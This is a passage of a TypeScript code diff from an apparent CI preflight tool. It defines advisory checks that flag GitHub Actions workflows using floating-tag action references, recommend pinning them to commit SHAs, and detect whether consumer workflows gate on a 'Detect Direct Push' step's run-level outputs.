+
.map(([file, refs]) => ` ${file}: ${refs.join(", ")}`)
|
|
628
|
+
.join("\n");
|
|
629
|
+
return {
|
|
630
|
+
id: "gha-actions-floating-tags",
|
|
631
|
+
severity: "advisory",
|
|
632
|
+
detect: `.github/workflows/ uses floating-tag action refs (KN-3). Affected files:\n${lines}`,
|
|
633
|
+
action:
|
|
634
|
+
"Replace each `@vN[.N.N]` with a 40-character commit SHA and a `# vN.N.N` comment, e.g.:\n\n" +
|
|
635
|
+
" - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n\n" +
|
|
636
|
+
"Look up SHAs with `git ls-remote https://github.com/<org>/<repo>.git 'refs/tags/v*' | tail -3`. Apply to ALL workflow files that run with elevated permissions (`packages: write`, `id-token: write`). Copy `.github/renovate.json5` or `.github/dependabot.yml` from the bkit examples so SHA pins refresh on upstream releases. See docs/deployments.md § Dependency updaters.",
|
|
637
|
+
};
|
|
638
|
+
}
|
|
639
|
+
|
|
640
|
+
/**
|
|
641
|
+
* Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
|
|
642
|
+
* outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
|
|
643
|
+
* primitives only — without a consumer-side gate reading the outputs, the force-tag
|
|
644
|
+
* system documented in deployments.md is documentation-only.
|
|
645
|
+
*
|
|
646
|
+
* "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
|
|
647
|
+
* sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
|
|
648
|
+
* the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
|
|
649
|
+
*/
|
|
650
|
+
export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null {
|
|
651
|
+
const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
|
|
652
|
+
if (!fs.existsSync(ciPath)) return null;
|
|
653
|
+
const ciContent = fs.readFileSync(ciPath, "utf-8");
|
|
654
|
+
// Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
|
|
655
|
+
if (!ciContent.includes("Detect Direct Push")) return null;
|
|
656
|
+
|
|
657
|
+
const workflowsDir = path.join(cwd, ".github", "workflows");
|
|
658
|
+
// A consumer "composes" run-levels by READING bkit's force-tag outputs in a gate
|
|
659
|
+
// (`steps.detect.outputs.should_*`). bkit's own shipped bkit-ci.yml only SETS those outputs
|
|
660
|
+
// (`echo "should_force_build=true" >> $GITHUB_OUTPUT`) and gates internal steps on
|
|
661
|
+
// `cache.outputs.skip` — neither is consumer composition. So we look for the READ form,
|
|
662
|
+
// on uncommented lines only (the shipped `bkit-stub:e2e` block reads the outputs but is
|
|
663
|
+
// commented out by default — enabling it correctly counts as composition).
|
|
664
|
+
// bkit-ci.yml is the consumer's file, so matching the read form is what distinguishes a
|
|
665
|
+
// consumer gate.
|
|
666
|
+
const readTokens = [
|
|
667
|
+
"steps.detect.outputs.should_force_build",
|
|
668
|
+
"steps.detect.outputs.should_run_full",
|
|
669
|
+
];
|
|
670
|
+
const composesRunLevels = (content: string): boolean =>
|
|
671
|
+
content
|
|
672
|
+
.split("\n")
|
|
673
|
+
.some((line) => !/^\s*#/.test(line) && readTokens.some((tok) => line.includes(tok)));
|
|
674
|
+
|
|
675
|
+
let composed = false;
|
|
676
|
+
// Any sibling workflow that gates on the outputs.
|
|
677
|
+
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
678
|
+
if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
|
|
679
|
+
if (entry.name === "bkit-ci.yml") continue; // checked below
|
|
680
|
+
if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
|
|
681
|
+
composed = true;
|
|
682
|
+
break;
|
|
683
|
+
}
|
|
684
|
+
}
|
|
685
|
+
// Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
|
|
686
|
+
// or a deploy/job step reading the outputs).
|
|
687
|
+
if (!composed && composesRunLevels(ciContent)) composed = true;
|
|
688
|
+
if (composed) return null;
|
|
689
|
+
return {
|
|
690
|
+
id: "run-levels-not-composed",
|
|
691
|
+
severity: "advisory",
|
|
692
|
+
detect:
|
|
693
|
+
".github/workflows/bkit-ci.yml ships bkit's `Detect Direct Push` step outputs (`should_force_build`, `should_run_full`, `cache.outputs.skip`) but no consumer-side workflow or step gates on them.",
|
|
694
|
+
action:
|
|
695
|
+
"`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
|
|
696
|
+
" - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
|
|
697
|
+
" - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
|
|
698
|
+
" - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
|
|
699
|
+
"If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the `Detect Direct Push` step from bkit-ci.yml. Note this also disables `[force cache]` / `[force build]` / `[force full]` tag detection.",
|
|
700
|
+
};
|
|
701
|
+
}
|